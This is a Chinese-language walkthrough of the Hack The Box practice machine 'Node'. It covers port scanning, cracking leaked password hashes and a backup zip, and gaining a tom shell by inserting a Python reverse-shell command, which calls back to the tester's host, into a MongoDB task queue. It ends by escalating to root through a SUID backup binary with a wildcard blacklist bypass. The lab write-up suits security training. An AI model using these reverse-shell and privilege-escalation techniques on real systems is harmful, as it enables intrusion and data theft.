Hackthebox - Node 靶场实战
2022-8-1 12:27:26 Author: 路西菲尔的故事汇(查看原文) 阅读量:15 收藏

Nmap

┌──(root㉿lucifiel)-[~/Desktop]
└─# nmap -sS -sC -sV -A -p- --min-rate 5000 10.10.10.58
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 09:40 CST
Nmap scan report for 10.10.10.58
Host is up (0.57s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT     STATE SERVICE            VERSION
22/tcp   open  ssh                OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-tasktracker Apache Hadoop
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
| hadoop-datanode-info: 
|_  Logs: /login
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.2 - 4.9 (92%), Crestron XPanel control system (90%), Linux 3.13 (89%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Linux 3.5 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   647.66 ms 10.10.14.1
2   647.71 ms 10.10.10.58

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 93.80 seconds

Http

这边首页面看到有个登陆点,直接去看看

测试了一下弱口令,没进去,也没什么其他可以点的点了,fuzz 也没找到什么东西

在主页抓到一个 js,里面有一个地址 /api/users,去看一下

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},
{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},
{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},
{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

去尝试解密一下

username = myP14ceAdm1nAcc0uNT
password = manchester

成功解密出 myP14ceAdm1nAcc0uNT 的密码,这是一个管理员账户,去登陆页面登录一下

成功登陆,然后有一个备份文件可以下载,下载一下

wget --header "Cookie: connect.sid=s%3AjDIfsWcluCPkFQHEKYIaZu2c5fEgPznp.td17K8ciAiS8uXhzf4h0SM71BuRxWE%2BdLoPQvRI9XkQ" http://10.10.10.58:3000/api/admin/backup

这个文件下载存在一些问题,尝试多次都会在大概 0.6% 左右的进度停止下载

所以我们用 wget 进行自动多次尝试下载,然后挂着等下载完成吧

如果还是不行,就尝试用 curl 进行请求

curl -s -XGET -b 'connect.sid=s%3AjDIfsWcluCPkFQHEKYIaZu2c5fEgPznp.td17K8ciAiS8uXhzf4h0SM71BuRxWE%2BdLoPQvRI9XkQ' http://10.10.10.58:3000/api/admin/backup -o myplace.backup
┌──(root㉿lucifiel)-[~/Desktop]
└─# file myplace.backup 
myplace.backup: ASCII text, with very long lines (64652), with no line terminators

查看了一下内容和类型,感觉像是 base64 编码,去解码一下

┌──(root㉿lucifiel)-[~/Desktop]
└─# cat myplace.backup | base64 -d > unknow                                                                                                                               
                                                                                                                                                                                                                                            
┌──(root㉿lucifiel)-[~/Desktop]
└─# file unknow 
unknow: Zip archive data, at least v1.0 to extract, compression method=store

┌──(root㉿lucifiel)-[~/Desktop]
└─# mv unknow myplace.zip

是一个 zip 类型的,那就尝试解压一下

┌──(root㉿lucifiel)-[~/Desktop]
└─# unzip myplace.zip
Archive:  myplace.zip
   creating: var/www/myplace/
[myplace.zip] var/www/myplace/package-lock.json password:

需要一个解压密码

┌──(root㉿lucifiel)-[~/Desktop]
└─# fcrackzip -D -p /usr/share/wordlists/rockyou.txt  myplace.zip
possible pw found: magicword

解压密码出来了,去解压一下

┌──(root㉿lucifiel)-[~/Desktop/var/www/myplace]
└─# ls -la
总用量 56
drwxr-xr-x  4 root root  4096  9月  3  2017 .
drwxr-xr-x  3 root root  4096  7月 12 20:24 ..
-rw-rw-r--  1 root root  3861  9月  2  2017 app.html
-rw-rw-r--  1 root root  8058  9月  3  2017 app.js
drwxr-xr-x 69 root root  4096  9月  2  2017 node_modules
-rw-rw-r--  1 root root   283  9月  2  2017 package.json
-rw-r--r--  1 root root 21264  9月  2  2017 package-lock.json
drwxrwxr-x  6 root root  4096  9月  2  2017 static

有一些文件,到处看看有没有有用的东西吧

┌──(root㉿lucifiel)-[~/Desktop/var/www/myplace]
└─# grep -Ri password .

使用上面的命令进行筛选,我们看到有一个 mongodb

┌──(root㉿lucifiel)-[~/Desktop/var/www/myplace]
└─# cat app.js

const express     = require('express');
const session     = require('express-session');
const bodyParser  = require('body-parser');
const crypto      = require('crypto');
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const path        = require("path");
const spawn        = require('child_process').spawn;
const app         = express();
const url         = 'mongodb://mark:[email protected]:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

查看 app.js 其中和 mangodb 有关的只有 const url 这一句

所以我们到了一个账号密码

username = mark
password = 5AYRft73VtFpc84k

目前只有 22 和 3000 端口打开,3000 端口我们已经是 admin 权限了,自然不可能,所以应该是 22 端口

┌──(root㉿lucifiel)-[~/Desktop]
└─# ssh [email protected]                       
The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established.
ED25519 key fingerprint is SHA256:l5rO4mtd28sC7Bh8t7rHpUxqmHnGYUDxX1DHmLFrzrk.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '
10.10.10.58' (ED25519) to the list of known hosts.
[email protected]'
s password: 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

.-. 
        .-'``(|||) 
     ,`\ \    `-`.                 88                         88 
    /   \ '
``-.   `                88                         88 
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88 
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88 
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88 
    \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88 
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888
        `-..-(   ) 
              `-` 

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
[email protected]:~$ whoami&&id
mark
uid=1001(mark) gid=1001(mark) groups=1001(mark)

成功拿到 user 权限

进来后在用户目录下没有看到 flag 文件

/home/tom/user.txt 通过 find 查找,在 tom 目录下找到了 flag 文件

[email protected]:/home/tom$ cat user.txt 
cat: user.txt: Permission denied

但是我们没有权限

Tom

[email protected]:/home$ ps aux | grep tom
tom       1231  0.0  8.6 1033968 65472 ?       Ssl  02:21   0:22 /usr/bin/node /var/www/myplace/app.js
tom       1238  0.0  5.7 1008568 43220 ?       Ssl  02:21   0:07 /usr/bin/node /var/scheduler/app.js
mark     16416  0.0  0.1  14228   932 pts/0    S+   13:43   0:00 grep --color=auto tom

查看一下 Tom 运行的文件

[email protected]:/home$ cat /var/scheduler/app.js
const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:[email protected]:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

可以看到 /var/scheduler/app.js 连接了名为 scheduler 的 mongodb 数据库,在名为 tasks 的集合中搜索文档并执行 ‘cmd’ 字段

让我们连接到 mongodb 并在任务集合中插入一个新文档。我们希望用户 tom 执行的命令将在“cmd”字段中。

[email protected]:~$ mongo localhost:27017/scheduler -u mark -p 5AYRft73VtFpc84k
MongoDB shell version: 3.2.16
db.tasks.insert({"cmd":"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.6\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"sh\")'"});

使用 nc 监听一个端口

nc -nvlp 4444
┌──(root㉿lucifiel)-[~/Desktop]
└─# nc -nvlp 4444                                      
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.58] 41470
$ python3 -c 'import pty;pty.spawn("/bin/bash")';
python3 -c 'import pty;pty.spawn("/bin/bash")';
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

[email protected]:/$ whoami&&id
whoami&&id
tom
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),115(lpadmin),116(sambashare),1002(admin)

成功提权到 Tom

[email protected]:~$ pwd
pwd
/home/tom
[email protected]:~$ ls   
ls
user.txt
[email protected]:~$ cat user.txt
cat user.txt
e1156acc3574e04b06908ecf76be91b1

成功获取到 user 权限的 flag 文件

Root

find / -type f -perm -4000 2>/dev/null

检查一波 suid 信息 显示 tom 具有的权限

[email protected]:/$ find / -type f -perm -4000 2>/dev/null
find / -type f -perm -4000 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/local/bin/backup
/usr/bin/chfn
/usr/bin/at
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/newuidmap
/bin/ping
/bin/umount
/bin/fusermount
/bin/ping6
/bin/ntfs-3g
/bin/su
/bin/mount

看起来最异常的就是 /usr/local/bin/backup 了

[email protected]:/$ file /usr/local/bin/backup
file /usr/local/bin/backup
/usr/local/bin/backup: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped

查看一下文件格式可以确定是一个二进制文件

检查一下文件 /var/www/myplace/app.js

     'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____.  -~""??9VWQQQQQQQQQQQQQQQQQQQ',
          'QQQQQQQQQQQQQP\'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ',
          'QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ',
          'QQQQQQQQQQW\' [email protected]?TVTT9HQQQQQQw,-4QQQQQQQQQ',
          'QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ',
          'QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ',
          'QQQQQQQP\'.yQQQQQQQQQQQP"
       <wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ',
          'QQQQQP\'_a.<aamQQQW!<yF "
!` ..  "??$Qa "WQQQWTVP\'    "??\' =QQmWWV?46/ ?QQQQQ',
          '
QQQP\'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ',
          'QQ[ [email protected]\'adQQP4ga, -????" <jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"`  -?QzQ7L ]QQQ',
          '
QW [email protected] jWQQD\'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa   .QP4QQQQfWkl jQQQ',
          'QE ]QkQk $D?`  waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ',
          'QQ,-Qm4Q/-QmQ6 "WWQma/  "??QQQQQQL 4W"- -?$QQQQWP`s,[email protected]  "[email protected]?$:.yQQQQ',
          'QQm/-4wTQgQWQQ,  ?4WWk 4waac -???$waQQQQQQQQF??\'<mWWWWWQW?^  ` ]6QQ\' yQQQQQ',
          'QQQQw,-?QmWQQQQw  a,    ?QWWQQQw _.  "????9VWaamQWV???"  a j/  ]QQf jQQQQQQ',
          'QQQQQQw,"4QQQQQQm,-$Qa     ???4F jQQQQQwc <aaas _aaaaa 4QW ]E  )WQ`=QQQQQQQ',
          'QQQQQQWQ/ $QQQQQQQa ?H ]Wwa,     ???9WWWh dQWWW,=QWWU?  ?!     )WQ ]QQQQQQQ',
          'QQQQQQQQQc-QWQQQQQW6,  QWQWQQQk <c                             jWQ ]QQQQQQQ',
          'QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ\'.mQQQmaa,.,                . .; QWQ.]QQQQQQQ',
          '
QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ',
          'QQQQQQQQQQWWma "
9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ',
          '
QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,,    --~-- ---  . _ssawmQQQQQQk 3QQQQWQ',
          'QQQQQQQQQQQQQQQQWQga,-?9mwad?1wdT9WQQQQQWVVTTYY?YTVWQQQQWWD5mQQPQQQ ]QQQQQQ',
          'QQQQQQQWQQQQQQQQQQQWQQwa,-??$QwadV}<wBHHVHWWBHHUWWBVTTTV5awBQQD6QQQ ]QQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQWWQQga,-"
9$WQQmmwwmBUUHTTVWBWQQQQWVT?96aQWQQQ ]QQQQQQ',
          '
QQQQQQQQQQWQQQQWQQQQQQQQQQQWQQma,-?9$QQWWQQQQQQQWmQmmmmmQWQQQQWQQW(.yQQQQQW',
          '
QQQQQQQQQQQQQWQQQQQQWQQQQQQQQQQQQQga%,.  -??9$QQQQQQQQQQQWQQWQQV? sWQQQQQQQ',
          '
QQQQQQQQQWQQQQQQQQQQQQQQWQQQQQQQQQQQWQQQQmywaa,;~^"!???????!^`_saQWWQQQQQQQ',
          'QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ',
          'QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ',

看到一个有趣的东西,应该还有其他的东西

const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';

拿到了一个 key

app.get('/api/admin/backup'function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

backup 的运行格式是 backup -q key 文件目录,然后就会把我们指定的目录给打包为压缩文件

还记得我们在 app.js 中找到的密钥 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 吗?派上用场了

[email protected]:/usr/local/bin$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
<ac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root         
 [+] Finished! Encoded backup is below:
                                                                                                                                                                                                                                            
UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utb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pBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==

得到了一串 base64 码,进行查看并解压

┌──(root㉿lucifiel)-[~/Desktop]
└─# base64 -d base > base_encode 
                                                                                                                                                                                                                                            
┌──(root㉿lucifiel)-[~/Desktop]
└─# file base_encode 
base_encode: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted

确实是会被压缩为 zip 文件

┌──(root㉿lucifiel)-[~/Desktop]
└─# unzip base_encode 
Archive:  base_encode
   skipping: root.txt                need PK compat. v5.1 (can do v4.6)
┌──(root㉿lucifiel)-[~/Desktop]
└─# cat root.txt     
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ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QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQWWWWQQQQQmwywwwwwwmQQWQQQQQQQQQQQ
QQQQQQQWQQQWQQQQQQWQQQWQQQQQWQQQQQQQQQQQQQQQQWQQQQQWQQQWWWQQQQQQQQQQQQQQQWQ

使用解压密码 magicword 进行查看后,得到了刚才我们发现了有趣的笑脸,查看代码后判断应该是关键字被列入黑名单了

/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt

我们使用通配符绕过黑名单

[email protected]:/usr/local/bin$ /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt                                                                                                           
<ac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt                                                                                                                                                               
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWUoAy1l1eAsAAQQAAAAABAAAAACh3rCOvOQdB5V16DWzjmraL4LSDQyRE+gYobSHgwWoyN2auhvRchazKrlNmtBQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA

再去使用之前获得的解压密码 magicword 进行解压

┌──(root㉿lucifiel)-[~/Desktop]
└─# cat data    
UEsDBAoACQAAANR9I0vyjjdALQAAACEAAAANABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWXLP2GJ1eAsAAQQAAAAABAAAAABxTsld158Zh1jLqaTlLhGh3omZpdVMsbbF4rimamhoJAz6zDqxvNxiE/AktcJQSwcI8o43QC0AAAAhAAAAUEsBAh4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAA0AGAAAAAAAAQAAAKCBAAAAAHJvb3Qvcm9vdC50eHRVVAUAA9AVrFl1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAA
                                                                                                                                                                                                                                            
┌──(root㉿lucifiel)-[~/Desktop]
└─# base64 -d data > data_encode          
                                                                                                                                                                                                                                            
┌──(root㉿lucifiel)-[~/Desktop]
└─# file data_encode 
data_encode: Zip archive data, at least v1.0 to extract, compression method=store
                                                                                                                                                                                                                                            
┌──(root㉿lucifiel)-[~/Desktop]
└─# unzip data_encode 
Archive:  data_encode
[data_encode] root/root.txt password: 
 extracting: root/root.txt           
                                                                                                                                                                                                                                                                                                                                                                                                                                                       
┌──(root㉿lucifiel)-[~/Desktop]
└─# cat root/root.txt 
1722e99ca5f353b362556a62bd5e6be0

成功拿到 root 权限的 flag 文件


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2MjY5MzE5MA==&mid=2247487788&idx=1&sn=8dedf980442167a0d16a3f190be1b411&chksm=fc64c405cb134d13c1b9886f8a533e9b1c5fd0766196f192e26aa136aec9a5eb79438ac7db8e#rd
如有侵权请联系:admin#unsafe.sh